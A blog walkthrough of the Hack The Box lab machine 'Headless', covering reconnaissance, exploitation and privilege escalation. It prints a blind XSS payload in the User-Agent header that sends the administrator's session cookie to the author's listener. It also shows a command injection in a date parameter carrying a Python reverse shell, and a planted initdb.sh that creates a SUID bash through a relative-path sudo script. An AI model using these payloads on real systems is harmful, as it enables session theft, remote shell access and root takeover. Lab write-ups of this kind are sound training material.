DEV Community

0xAp0ll0
0xAp0ll0

Posted on

HTB: Headless — Writeup

Overview:

Headless is an easy Linux machine that combines several vulnerabilities to achieve initial access and privilege escalation.

Reconnaissance & Enumeration

I started with a full TCP port scan to identify the available services:

nmap -sCV -p- <IP> -oN nmap
Enter fullscreen mode Exit fullscreen mode

The scan revealed two interesting ports:
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2
5000/tcp open upnp? Werkzeug/2.2.2 Python/3.11.2

Port 5000 immediately caught my attention because it is running a Python Werkzeug web server.

Navigating to:_http://10.10.11.8:5000
_

reveals a simple welcome page with a For questions button.
Clicking it redirects us to a customer support form.

Since the application allows us to send messages to staff members, I wanted to see if any of the input fields were vulnerable to XSS.

I first tried a basic payload:
<script>alert(1)</script>
However, the application detected the payload and displayed a warning saying that a hacking attempt had been detected.
Looking at the page more carefully, I noticed something interesting: the submitted form contents were not displayed, but the HTTP request headers were.
This made me think about injecting JavaScript into one of the headers instead.
I intercepted the request using Burp Suite and modified the User-Agent header:

User-Agent: alert(1)
After forwarding the request, an alert appeared in the application.
This confirmed that the User-Agent header is vulnerable to stored XSS.

Stored XSS is particularly interesting here because the application tells us that administrators review the submitted reports.
That means we may be able to use a blind XSS payload to execute JavaScript in the administrator's browser and steal their session cookie.

I created a simple HTTP server on my machine to receive the callback:

python3 -m http.server 5000

Then I used the following payload in the User-Agent header:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0<script>var i=new Image();i.src="http://10.10.15.67:8000/?cookie="+btoa(document.cookie);</script>
Enter fullscreen mode Exit fullscreen mode


The JavaScript creates an Image object and causes the victim's browser to make a request to our server.
After submitting the report and waiting for the administrator to review it, my server received callbacks:

┌──(kali㉿kali)-[~/HTB/Headless]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.15.67 - - [08/Aug/2026 12:43:06] "GET /?cookie= HTTP/1.1" 200 -
10.129.58.80 - - [08/Aug/2026 12:43:53] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
Enter fullscreen mode Exit fullscreen mode

10.10.14.41 - - [14/Jul/2024 11:08:21] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -

I decoded the cookie:

 echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0                
Enter fullscreen mode Exit fullscreen mode

Now that we have an admin cookie, I wanted to find out where it could be used.
I fuzzed the website for hidden directories:

┌──(kali㉿kali)-[~/HTB/Headless]
└─$ ffuf -u http://10.129.58.80:5000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.58.80:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# directory-list-lowercase-2.3-medium.txt [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 308ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 310ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
# Priority ordered case insensative list, where entries were found  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 316ms]
                        [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
# on atleast 2 different hosts [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 320ms]
# Copyright 2007 James Fisher [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 291ms]
support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 169ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 153ms]
                        [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 160ms]
:: Progress: [207643/207643] :: Job [1/1] :: 108 req/sec :: Duration: [0:30:12] :: Errors: 0 ::

Enter fullscreen mode Exit fullscreen mode

The interesting results included:
support
dashboard

The /dashboard endpoint was interesting because we previously didn't have access to it.
I replaced my normal cookie with the stolen administrator cookie in Firefox and refreshed the page.
This time, we successfully gained access to the administrator dashboard.

The dashboard contains a feature for generating a health report.
When clicking the button, the application sends a POST request containing a date parameter:
POST /dashboard HTTP/1.1
date=2023-09-15

This looked interesting because the server appeared to process the supplied date.
I tested whether the parameter was being passed to a system command by appending:
;id
So the request became:
date=2023-09-15;id
The response contained:
*uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
*

The id command executed successfully.
This confirms a command injection vulnerability.
Since arbitrary commands can be executed, we can use this to obtain a reverse shell.

I started a Netcat listener on my machine:
*nc -lnvp 4444
*

Then I injected a reverse shell through the date parameter:

date=2024-09-15;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ur_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Enter fullscreen mode Exit fullscreen mode

After sending the request, the listener received a connection

We now have a shell as dvir.
The initial shell is not very stable, so I upgraded it
And we can find the user flag at:
/home/dvir/user.txt

Privilege Escalation

Now that we have the user shell, I started looking for ways to escalate to root.

the first thing i did was check the user's sudo permissions:
*sudo -l
*

and we got

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Enter fullscreen mode Exit fullscreen mode

So dvir can execute /usr/bin/syscheck as root without a password.

Analyzing syscheck
I inspected the script:

dvir@headless:/tmp$ cat /usr/bin/syscheck
#!/bin/bash                                                                                                                                                                                 

if [ "$EUID" -ne 0 ]; then                                                                                                                                                                  
  exit 1                                                                                                                                                                                    
fi                                                                                                                                                                                          

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)                                                                    
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")                                                                                                                 
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"                                                                                                                              

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')                                                                                                                            
/usr/bin/echo "Available disk space: $disk_space"                                                                                                                                           

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')                                                                                                               
/usr/bin/echo "System load average: $load_average"                                                                                                                                          

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then                                                                                                                                        
  /usr/bin/echo "Database service is not running. Starting it..."                                                                                                                           
  ./initdb.sh 2>/dev/null                                                                                                                                                                   
else                                                                                                                                                                                        
  /usr/bin/echo "Database service is running."
fi

exit 0
dvir@headless:/tmp$ 
Enter fullscreen mode Exit fullscreen mode

The script first checks whether it is running as root:

if [ "$EUID" -ne 0 ]; then
    exit 1
fi
Enter fullscreen mode Exit fullscreen mode

It then performs several system checks.
The interesting part is at the end:

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
    /usr/bin/echo "Database service is not running. Starting it..."
    ./initdb.sh 2>/dev/null
else
    /usr/bin/echo "Database service is running."
fi
Enter fullscreen mode Exit fullscreen mode

The important line is:
./initdb.sh

The script doesn't specify an absolute path such as:
/usr/local/bin/initdb.sh

Instead, it uses a relative path.
This means the shell looks for initdb.sh in the current working directory.
Since /tmp is writable by dvir, we can place our own initdb.sh there.
When syscheck is executed from /tmp with sudo, our malicious script will be executed with root privileges.

I created an initdb.sh script:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash
Enter fullscreen mode Exit fullscreen mode

The script simply starts a Bash shell when executed.
Next, I gave it execute permissions:
chmod +x /tmp/initdb.sh

Now everything is ready

We can execute the vulnerable system-check script:
sudo /usr/bin/syscheck

The script performs its checks and eventually reaches:
Database service is not running. Starting it...
At that print, ./initdb.sh is executed.
Because we're currently in /tmp, it resolves to:
/tmp/initdb.sh

and we run /tmp/bash -p
and there u go we have root


The final flag is located at:
/root/root.txt

Machine Review:

Headless was a really nice Easy machine because every vulnerability naturally leads into the next stage.
Overall, Headless was a good machine for practicing web enumeration, XSS, command injection, sudo enumeration, and relative-path vulnerabilities.

Top comments (0)